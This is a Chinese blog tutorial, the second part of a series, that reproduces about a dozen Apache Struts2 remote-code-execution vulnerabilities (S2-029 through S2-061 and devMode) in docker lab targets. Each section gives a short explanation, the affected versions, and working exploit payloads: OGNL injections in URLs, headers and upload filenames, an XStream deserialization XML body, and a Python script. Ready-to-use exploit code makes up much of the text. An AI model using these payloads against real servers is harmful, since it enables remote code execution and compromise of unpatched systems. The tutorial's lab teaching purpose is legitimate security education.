Struts2框架漏洞总结与复现(下)

Struts2框架漏洞总结与复现

1.Struts2复现准备

1.1.检测工具准备

  关于这里的复现准备可以看Struts2框架漏洞总结与复现(上),这上中提供了检测的工具。
  链接:Struts2框架漏洞总结与复现(上)

1.2.部分环境准备

  在vulhub靶场中S2-029与S2-deMode环境没有,这里就需要我们自行拉取镜像,由于这一块是后补,所以前面的就没有图片,最后一个环境图片会补其上来。

1.2.1.S2-029镜像拉取

sudo docker pull medicean/vulapps:s_struts2_s2-029  #拉取镜像
sudo docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029 #设置端口
docker ps #查看镜像
docker-compose down  #关闭环境
docker ps  #查看环境获取ID号
docker stop ID号  #关闭环境

1.2.2.S2-deMode镜像拉取

docker pull medicean/vulapps:s_struts2_s2-devmode   #拉取镜像
sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-devmode  #设置端口
sudo docker ps    #查看镜像
docker-compose down  #关闭环境
docker ps  #查看环境获取ID号
docker stop ID号  #关闭环境

在这里插入图片描述

2.Struts2框架漏洞复现

2.1.S2-029漏洞复现

2.1.1.漏洞原理

  Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中:
  在struts2中,如下的标签就调用了OGNL进行取值。

<p>parameters: <s:property value="#parameters.msg" /></p>

  struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍 然是西靠OGNL进行远程代码执行。

2.1.2.影响版本

  Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)

2.1.3.手工复现

2.1.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.1.3.2.构建POC
POC:/default.action?message=(%23_memberAccess[%27allowPrivateAccess%27]=true,%23_memberAccess[%27allowProtectedAccess%27]=true,%23_memberAccess[%27excludedPackageNamePatterns%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27excludedClasses%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27allowPackageProtectedAccess%27]=true,%23_memberAccess[%27allowStaticMethodAccess%27]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream()))

在这里插入图片描述

2.2.S2-032漏洞复现

2.2.1.漏洞原理

  当启用动态方法调用时,可以传递可用在服务器端执行任意代码的恶意表达式。

2.2.2.影响版本

  Struts 2.3.20 - 2.3.28(2.3.20.3和2.3.24.3除外)

2.2.3.手工复现

2.2.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.2.3.2.验证漏洞

  当使用POC验证后返回1001060253718则代表可代码执行。

POC:/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010

在这里插入图片描述

2.2.3.3.构建POC

  在cmd后面添加所需要执行的命令。

POC:/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

在这里插入图片描述

2.2.4.工具复现

  这里直接看图,具体的操作可以去看上篇文章。
在这里插入图片描述

2.3.S2-045漏洞复现

2.3.1.漏洞原理

  在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件的时候通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

2.3.2.影响版本

  Struts 2.3.5 - 2.3.31
  Struts 2.5 - 2.5.10

2.3.3.手工复现

2.3.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.3.3.2.构建POC

  在输入框中输入1,然后进行抓包,在数据包中修改Content-Type部分,将POC插入。

POC:%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}

在这里插入图片描述

2.3.4.工具复现

  直接看效果,具体的操作,自行研究或者参考上篇文章。
在这里插入图片描述

2.4.S2-046漏洞复现

2.4.1.漏洞原理

  攻击者可以通过设置Content-Disposition的filename字段或者设置Content-Length超过2G这两种方式来触发异常并导致filename字段中的OGNL表达式得到执行从而达到远程攻击的目的。该漏洞与之前的S2-045漏洞成因及原理一样(CVE漏洞编号是同一个)只是漏洞利用的字段发生了改变
  与S2-045相同,S2-046也是OGNL注入,但出现在上传请求的文件名字段中,并且需要NUL字节来拆分有效负荷和其余字符串

2.4.2.影响版本

  Struts 2.3.5 - 2.3.31
  Struts 2.5 - 2.5.10

2.4.3.手工复现

2.4.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.4.3.2.验证漏洞

  在输入框中输入1,然后抓包,在数据包中的filename=""中插入POC。

POC:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b

在这里插入图片描述

  这里还需要找到b之前的字符进行00截断,也就是POC后面的x00b,将b前面的0在hex中修改成00,可以看到修改后成功了。
在这里插入图片描述

2.4.3.3.构建POC

  这里的构建的POC就是执行代码的POC了,操作方式和验证漏洞的方式都是一样的,也需要进行截断,截断位置也是b那个地方。

POC:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b

在这里插入图片描述

2.4.4.工具复现

  直接看效果。
在这里插入图片描述

2.5.S2-048漏洞复现

2.5.1.漏洞原理

  Apache Struts 1插件的Apache Struts 2.3.x 版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2中的Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限。漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。

2.5.2.影响版本

  Apache Struts 2.3.x 系列中启用了Struts2-struts1-plugin插件的版本

2.5.3.手工复现

2.5.3.1.访问靶机

  URL:IP地址:端口/integration/editGangster.action
在这里插入图片描述

2.5.3.2.验证漏洞

  这里在第一个输入框中输入${1+1},后面的输入框中都输入1。
在这里插入图片描述

2.5.3.3.查看验证情况

  看到上面的2即可证明存在漏洞。
在这里插入图片描述

2.5.3.4.构建POC

  这里就需要进行抓包,点击下面的submit按钮,进行抓包,然后将POC插入name后面即可,这里还需要注意的是在后面的age需要添加一个内容,比如1都可以,否则会报错。

POC:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

在这里插入图片描述

2.6.S2-052漏洞复现

2.6.1.漏洞原理

  Struts2 REST插件的XSteam组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。

2.6.2.影响版本

  Struts 2.1.2 - 2.3.33
  Struts 2.5 - 2.5.12

2.6.3.手工复现

2.6.3.1.访问靶机

  URL:IP地址:端口/orders/3/edit
在这里插入图片描述

2.6.3.2.构建POC

  关于这个POC,这个POC需要点点击Submit抓包后,将包头修改为 Content-Type:application/xml,然后再将下面的内容替换最后一行。

POC:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
 <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
 </entry>
 <entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map

在这里插入图片描述

2.6.3.3.验证POC

  这里需要进入docker中然后进行查看。
在这里插入图片描述

2.6.3.4.注意点

  在这个xml中执行命令是在<command> <string>touche</string> <string>/tmp/success</string>中。
在这里插入图片描述

2.7.S2-053漏洞复现

2.7.1.漏洞原理

  Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

2.7.2.影响版本

  Struts 2.0.1 - 2.3.33
  Struts 2.5 - 2.5.10

2.7.3.手工复现

2.7.3.1.访问靶机

  URL:IP地址:端口/hello.action
在这里插入图片描述

2.7.3.2.构建POC漏洞

  通过抓包工具,抓包,然后将POC插入进去执行。

POC:%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A

在这里插入图片描述

2.8.S2-057漏洞复现

2.8.1.漏洞原理

  -alwaysSelectFullNamespace是-操作元素未设置名称空间属性,或使用了通配符,用户将从URL传递名称空间,并将其解析为OGNL表达式,最终导致远程代码执行漏洞,alwaysSelectFullNamespace为true,-action元素没有设置namespace属性,或者使用了通配符,命名空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行漏洞。

2.8.2.影响版本

  Struts 2.3 - 2.3.34
  Struts 2.5 - 2.5.16

2.8.3.手工复现

2.8.3.1.访问靶机

  这里访问的页面前面的hello不是固定的,可以随意。
  URL:IP地址:端口/hello.action
在这里插入图片描述

2.8.3.2.构建POC

  这里还是通过抓包,然后将POC插入数据包中。

POC:/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

在这里插入图片描述

2.9.S2-059漏洞复现

2.9.1.漏洞原理

  Apache Struts框架,会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入,从而可能导致远程执行代码。

2.9.2.影响版本

  Struts 2.0.0 - 2.5.20

2.9.3.手工复现

2.9.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.9.3.2.漏洞验证

  这里可以使用浏览器访问IP地址:端口/?id=%25{10*50},然后再使用F12查看,若数据包是500就证明存在漏洞。
在这里插入图片描述

2.9.3.3.构建POC

  由于这里的POC并不好使用,建议使用脚本来进行复现。
  python2环境下执行,这里可以自行测试一下,我这边没有python2环境,就不测试了。

import requests
url = "http://127.0.0.1:8080"
data1 = {
 "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
 "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

2.10.S2-061漏洞复现

2.10.1.漏洞原理

  Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。Struts2会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

2.10.2.影响版本

  Struts 2.0.0 - 2.5.25

2.10.3.手工复现

2.10.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.10.3.2.验证漏洞

  这里可以使用浏览器访问IP地址:端口/?id=%25{10*50},然后再使用F12查看,若数据包是500就证明存在漏洞。
在这里插入图片描述

2.10.3.3.构建POC

  这里直接在URL后面添加POC执行,使用F12查看。

POC:?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

在这里插入图片描述

2.10.4.工具复现

  不过这里工具复现只能检测存在,并不能进行执行。
在这里插入图片描述

2.11.S2-deMode远程执行代码漏洞

2.11.1.漏洞原理

  当Struts2开启devMode模式时,将导致严重的远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

2.11.2.影响版本

  当Struts开启devMode时,该漏洞将会影响Struts 2.1.0 - 2.5.1,通杀Struts2所有版本。

2.11.3.手工复现

2.11.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.11.3.2.构建POC

  这里通过抓包,然后将POC数据插入至数据包中。

POC:?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒鱼头没剁椒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值